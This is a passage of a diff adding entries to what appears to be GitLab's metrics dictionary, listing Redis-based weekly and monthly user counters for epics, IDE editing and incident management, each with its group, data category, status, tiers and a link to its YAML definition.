+### `redis_hll_counters.epics_usage.g_project_management_users_removing_epic_emoji_weekly`
+
+Counts of WAU removing emoji on epic
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210505071932_g_project_management_users_removing_epic_emoji_weekly.yml)
+
+Group: `group::product planning`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `redis_hll_counters.epics_usage.g_project_management_users_setting_epic_confidential_monthly`
+
+Count of MAU making epics confidential
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210310203049_g_project_management_epic_confidential_monthly.yml)
+
+Group: `group::product planning`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `redis_hll_counters.epics_usage.g_project_management_users_setting_epic_confidential_weekly`
+
+Count of WAU making epics confidential
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210310203225_g_project_management_epic_confidential_weekly.yml)
+
+Group: `group::product planning`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `redis_hll_counters.epics_usage.g_project_management_users_setting_epic_due_date_as_fixed_monthly`
+
+Counts of MAU setting epic due date as inherited
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210325060507_g_project_management_users_setting_epic_due_date_as_fixed_monthly.yml)
+
+Group: `group::product planning`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `redis_hll_counters.epics_usage.g_project_management_users_setting_epic_due_date_as_fixed_weekly`
+
+Counts of WAU setting epic due date as fixed
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210325060623_g_project_management_users_setting_epic_due_date_as_fixed_weekly.yml)
+
+Group: `group::product planning`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `redis_hll_counters.epics_usage.g_project_management_users_setting_epic_due_date_as_inherited_monthly`
+
+Counts of MAU setting epic due date as inherited
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210325060315_g_project_management_users_setting_epic_due_date_as_inherited_monthly.yml)
+
+Group: `group::product planning`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `redis_hll_counters.epics_usage.g_project_management_users_setting_epic_due_date_as_inherited_weekly`
+
+Counts of WAU setting epic due date as inherited
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210325060903_g_project_management_users_setting_epic_due_date_as_inherited_weekly.yml)
+
+Group: `group::product planning`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `redis_hll_counters.epics_usage.g_project_management_users_setting_epic_start_date_as_fixed_monthly`
+
+Counts of MAU setting epic start date as fixed
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210315055624_g_project_management_users_setting_epic_start_date_as_fixed_monthly.yml)
+
+Group: `group::product planning`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `redis_hll_counters.epics_usage.g_project_management_users_setting_epic_start_date_as_fixed_weekly`
+
+Counts of WAU setting epic start date as fixed
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210315054905_g_project_management_users_setting_epic_start_date_as_fixed_weekly.yml)
+
+Group: `group::product planning`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `redis_hll_counters.epics_usage.g_project_management_users_setting_epic_start_date_as_inherited_monthly`
+
+Counts of MAU setting epic start date as inherited
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210315055439_g_project_management_users_setting_epic_start_date_as_inherited_monthly.yml)
+
+Group: `group::product planning`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `redis_hll_counters.epics_usage.g_project_management_users_setting_epic_start_date_as_inherited_weekly`
+
+Counts of WAU setting epic start date as inherited
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210315055342_g_project_management_users_setting_epic_start_date_as_inherited_weekly.yml)
+
+Group: `group::product planning`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `redis_hll_counters.epics_usage.g_project_management_users_setting_epic_visible_monthly`
+
+Count of MAU making epics visible
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210312093611_g_project_management_epic_visible_monthly.yml)
+
+Group: `group::product planning`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `redis_hll_counters.epics_usage.g_project_management_users_setting_epic_visible_weekly`
+
+Count of WAU making epics visible
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210312093243_g_poject_management_epic_visible_weekly.yml)
+
+Group: `group::product planning`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `redis_hll_counters.epics_usage.g_project_management_users_updating_epic_descriptions_monthly`
+
+Counts of MAU changing epic descriptions
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210312102051_g_project_management_users_updating_epic_descriptions_monthly.yml)
+
+Group: `group::product planning`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `redis_hll_counters.epics_usage.g_project_management_users_updating_epic_descriptions_weekly`
+
+Counts of WAU changing epic descriptions
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210312101753_g_project_management_users_updating_epic_descriptions_weekly.yml)
+
+Group: `group::product planning`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `redis_hll_counters.epics_usage.g_project_management_users_updating_epic_notes_monthly`
+
+Counts of MAU updating epic notes
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210314234202_g_project_management_users_updating_epic_notes_monthly.yml)
+
+Group: `group::product planning`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `redis_hll_counters.epics_usage.g_project_management_users_updating_epic_notes_weekly`
+
+Counts of WAU updating epic notes
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210314234041_g_project_management_users_updating_epic_notes_weekly.yml)
+
+Group: `group::product planning`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `redis_hll_counters.epics_usage.g_project_management_users_updating_epic_parent_monthly`
+
+Counts of MAU updating parent on epic
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210423011841_g_project_management_users_updating_epic_parent_monthly.yml)
+
+Group: `group::product planning`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `redis_hll_counters.epics_usage.g_project_management_users_updating_epic_parent_weekly`
+
+Counts of WAU updating parent on epic
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210423012053_g_project_management_users_updating_epic_parent_weekly.yml)
+
+Group: `group::product planning`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `redis_hll_counters.epics_usage.g_project_management_users_updating_epic_titles_monthly`
+
+Counts of MAU changing epic titles
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210312101935_g_project_management_users_updating_epic_titles_monthly.yml)
+
+Group: `group::product planning`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `redis_hll_counters.epics_usage.g_project_management_users_updating_epic_titles_weekly`
+
+Counts of WAU changing epic titles
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210312101826_g_project_management_users_updating_epic_titles_weekly.yml)
+
+Group: `group::product planning`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `redis_hll_counters.epics_usage.g_project_management_users_updating_fixed_epic_due_date_monthly`
+
+Counts of MAU manually updating fixed due date
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210329043548_g_project_management_users_updating_fixed_epic_due_date_monthly.yml)
+
+Group: `group::product planning`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `redis_hll_counters.epics_usage.g_project_management_users_updating_fixed_epic_due_date_weekly`
+
+Counts of WAU manually updating fixed due date
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210329042536_g_project_management_users_updating_fixed_epic_due_date_weekly.yml)
+
+Group: `group::product planning`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `redis_hll_counters.epics_usage.g_project_management_users_updating_fixed_epic_start_date_monthly`
+
+Counts of MAU manually updating fixed start date
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210329043509_g_project_management_users_updating_fixed_epic_start_date_monthly.yml)
+
+Group: `group::product planning`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `redis_hll_counters.epics_usage.g_project_management_users_updating_fixed_epic_start_date_weekly`
+
+Counts of WAU manually updating fixed start date
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210329043402_g_project_management_users_updating_fixed_epic_start_date_weekly.yml)
+
+Group: `group::product planning`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `redis_hll_counters.epics_usage.project_management_users_checking_epic_task_monthly`
+
+Counts of MAU checking epic task
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210421080207_g_project_management_users_checking_epic_task_monthly.yml)
+
+Group: `group::product planning`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `redis_hll_counters.epics_usage.project_management_users_checking_epic_task_weekly`
+
+Counts of WAU checking epic task
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210421075943_g_project_management_users_checking_epic_task_weekly.yml)
+
+Group: `group::product planning`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `redis_hll_counters.epics_usage.project_management_users_unchecking_epic_task_monthly`
+
+Counts of MAU unchecking epic task
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210421102516_g_project_management_users_unchecking_epic_task_monthly.yml)
+
+Group: `group::product planning`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `redis_hll_counters.epics_usage.project_management_users_unchecking_epic_task_weekly`
+
+Counts of WAU unchecking epic task
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210421102812_g_project_management_users_unchecking_epic_task_weekly.yml)
+
+Group: `group::product planning`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `redis_hll_counters.ide_edit.g_edit_by_sfe_monthly`
+
+Number of users editing a file from the single file editor
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216180334_g_edit_by_sfe_monthly.yml)
+
+Group: `group::editor`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.ide_edit.g_edit_by_sfe_weekly`
+
+Weekly number of users editing from the single file editor
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216180332_g_edit_by_sfe_weekly.yml)
+
+Group: `group::editor`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.ide_edit.g_edit_by_snippet_ide_monthly`
+
+Count of monthly edits to a snippet
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216180338_g_edit_by_snippet_ide_monthly.yml)
+
+Group: `group::editor`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.ide_edit.g_edit_by_snippet_ide_weekly`
+
+Weekly number of users editing Snippets
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216180336_g_edit_by_snippet_ide_weekly.yml)
+
+Group: `group::editor`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.ide_edit.g_edit_by_sse_monthly`
+
+Number of user editing files using the Static Site Editor
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216184024_g_edit_by_sse_monthly.yml)
+
+Group: `group::editor`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.ide_edit.g_edit_by_sse_weekly`
+
+Weekly number of users editing using the Static Site Editor
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216184022_g_edit_by_sse_weekly.yml)
+
+Group: `group::editor`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.ide_edit.g_edit_by_web_ide_monthly`
+
+Number of users editing a file from the Web IDE
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216180330_g_edit_by_web_ide_monthly.yml)
+
+Group: `group::editor`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.ide_edit.g_edit_by_web_ide_weekly`
+
+Weekly number of users editing using the Web IDE
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216180328_g_edit_by_web_ide_weekly.yml)
+
+Group: `group::editor`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.ide_edit.ide_edit_total_unique_counts_monthly`
+
+Count of unique users per month who edited a file from the Web IDE
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216180341_ide_edit_total_unique_counts_monthly.yml)
+
+Group: `group::editor`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.ide_edit.ide_edit_total_unique_counts_weekly`
+
+Weekly number of users editing a file using the Web IDE
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216180339_ide_edit_total_unique_counts_weekly.yml)
+
+Group: `group::editor`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.incident_management.incident_management_alert_assigned_monthly`
+
+Count of unique users assigning an alert per month
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216180533_incident_management_alert_assigned_monthly.yml)
+
+Group: `group::monitor`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.incident_management.incident_management_alert_assigned_weekly`
+
+Count of unique users assigning an alert per week
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216180532_incident_management_alert_assigned_weekly.yml)
+
+Group: `group::monitor`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.incident_management.incident_management_alert_status_changed_monthly`
+
+Count of unique users changing alert's status changes per month
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216180530_incident_management_alert_status_changed_monthly.yml)
+
+Group: `group::monitor`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.incident_management.incident_management_alert_status_changed_weekly`
+
+Count of unique users changing alert's status per week
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216180528_incident_management_alert_status_changed_weekly.yml)
+
+Group: `group::monitor`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.incident_management.incident_management_alert_todo_monthly`
+
+Count of unique users adding alerts to the TODO list per month
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216180537_incident_management_alert_todo_monthly.yml)
+
+Group: `group::monitor`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.incident_management.incident_management_alert_todo_weekly`
+
+Count of unique users adding alerts to the TODO list per week
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216180535_incident_management_alert_todo_weekly.yml)
+
+Group: `group::monitor`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.incident_management.incident_management_incident_assigned_monthly`
+
+Count of users assigning incidents per month
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216180552_incident_management_incident_assigned_monthly.yml)
+
+Group: `group::monitor`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.incident_management.incident_management_incident_assigned_weekly`
+
+Count of unique users assiging incidents per week
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216180550_incident_management_incident_assigned_weekly.yml)
+
+Group: `group::monitor`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.incident_management.incident_management_incident_change_confidential_monthly`
+
+Count of users changing incidents to confidential per month
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216180618_incident_management_incident_change_confidential_monthly.yml)
+
+Group: `group::monitor`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.incident_management.incident_management_incident_change_confidential_weekly`
+
+Count of unique users changing incidents to confidential per week
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216180616_incident_management_incident_change_confidential_weekly.yml)
+
+Group: `group::monitor`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.incident_management.incident_management_incident_closed_monthly`
+
+Count of users closing incidents per month
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216180548_incident_management_incident_closed_monthly.yml)
+
+Group: `group::monitor`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.incident_management.incident_management_incident_closed_weekly`
+
+Count of users closing incidents per week
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216180546_incident_management_incident_closed_weekly.yml)
+
+Group: `group::monitor`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.incident_management.incident_management_incident_comment_monthly`
+
+Count of unique users adding comments per month on incidents
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216180559_incident_management_incident_comment_monthly.yml)
+
+Group: `group::monitor`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.incident_management.incident_management_incident_comment_weekly`
+
+Count of unique users adding comments on incidents per week
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216180558_incident_management_incident_comment_weekly.yml)
+
+Group: `group::monitor`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.incident_management.incident_management_incident_created_monthly`
+
+Count of unique users creating incidents per month
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216180541_incident_management_incident_created_monthly.yml)
+
+Group: `group::monitor`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.incident_management.incident_management_incident_created_weekly`
+
+Count of unique users creating incidents per week
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216180539_incident_management_incident_created_weekly.yml)
+
+Group: `group::monitor`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.incident_management.incident_management_incident_published_monthly`
+
+Count of unique users that published incidents per month
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210216180607_incident_management_incident_published_monthly.yml)
+
+Group: `group::monitor`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.incident_management.incident_management_incident_published_weekly`
+
+Count of unique users that published incidents per week
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216180605_incident_management_incident_published_weekly.yml)
+
+Group: `group::monitor`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.incident_management.incident_management_incident_relate_monthly`
+
+Count of unique users adding issues per month that are related to an incident
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216180611_incident_management_incident_relate_monthly.yml)
+
+Group: `group::monitor`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.incident_management.incident_management_incident_relate_weekly`
+
+Count of unique users adding issues per that are related to an incident week
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216180609_incident_management_incident_relate_weekly.yml)
+
+Group: `group::monitor`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.incident_management.incident_management_incident_reopened_monthly`
+
+Count of unique users reopening incidents per month
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216180545_incident_management_incident_reopened_monthly.yml)
+
+Group: `group::monitor`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.incident_management.incident_management_incident_reopened_weekly`
+
+Count of unique users reopening incidents per week
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216180543_incident_management_incident_reopened_weekly.yml)
+
+Group: `group::monitor`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.incident_management.incident_management_incident_todo_monthly`
+
+Count of unique users adding incidents to the TODO list per month
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216180556_incident_management_incident_todo_monthly.yml)
+
+Group: `group::monitor`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.incident_management.incident_management_incident_todo_weekly`
+
+Count of unique users adding incidents to the TODO list per week
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216180554_incident_management_incident_todo_weekly.yml)
+
+Group: `group::monitor`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.incident_management.incident_management_incident_unrelate_monthly`
+
+Count of users removing issues that are related to an incident per month
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216180614_incident_management_incident_unrelate_monthly.yml)
+
+Group: `group::monitor`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.incident_management.incident_management_incident_unrelate_weekly`
+
+Count of unique users removing issue that are related to an incident per week
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216180612_incident_management_incident_unrelate_weekly.yml)
+
+Group: `group::monitor`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.incident_management.incident_management_incident_zoom_meeting_monthly`
+
+Count of users creating Zoom meetings about incidents per month
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216180603_incident_management_incident_zoom_meeting_monthly.yml)
+
+Group: `group::monitor`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.incident_management.incident_management_incident_zoom_meeting_weekly`
+
+Count of unique users creating Zoom meetings about incidents per week
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216180601_incident_management_incident_zoom_meeting_weekly.yml)
+
+Group: `group::monitor`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.incident_management.incident_management_total_unique_counts_monthly`
+
+Count of unique users performing events related with incidents per month
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216180622_incident_management_total_unique_counts_monthly.yml)
+
+Group: `group::monitor`
+
+Data Category: `Operational`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.incident_management.incident_management_total_unique_counts_weekly`
+
+Count of unique users performing events related to the incident management
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216180620_incident_management_total_unique_counts_weekly.yml)
+
+Group: `group::monitor`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.incident_management_alerts.incident_management_alert_create_incident_monthly`
+
+Count of unique users per month to create an incident corresponding to an alert
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216180625_incident_management_alert_create_incident_monthly.yml)
+
+Group: `group::monitor`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.incident_management_alerts.incident_management_alert_create_incident_weekly`
+
+Count of unique users per week to create an incident corresponding to an alert
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216180623_incident_management_alert_create_incident_weekly.yml)
+
+Group: `group::monitor`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.incident_management_oncall.i_incident_management_oncall_notification_sent_monthly`
+
+Count of unique users to receive a notification while on-call
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210405222005_i_incident_management_oncall_notification_sent_monthly.yml)
+
+Group: `group::monitor`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `redis_hll_counters.incident_management_oncall.i_incident_management_oncall_notification_sent_weekly`
+
+Count of unique users to receive a notification while on-call
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210405220139_i_incident_management_oncall_notification_sent_weekly.yml)
+
+Group: `group::monitor`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `redis_hll_counters.issues_edit.g_project_management_issue_added_to_epic_monthly`
+
+Count of MAU adding an issue to an epic
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210216181414_g_project_management_issue_added_to_epic_monthly.yml)
+
+Group: `group::project management`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `redis_hll_counters.issues_edit.g_project_management_issue_added_to_epic_weekly`
+
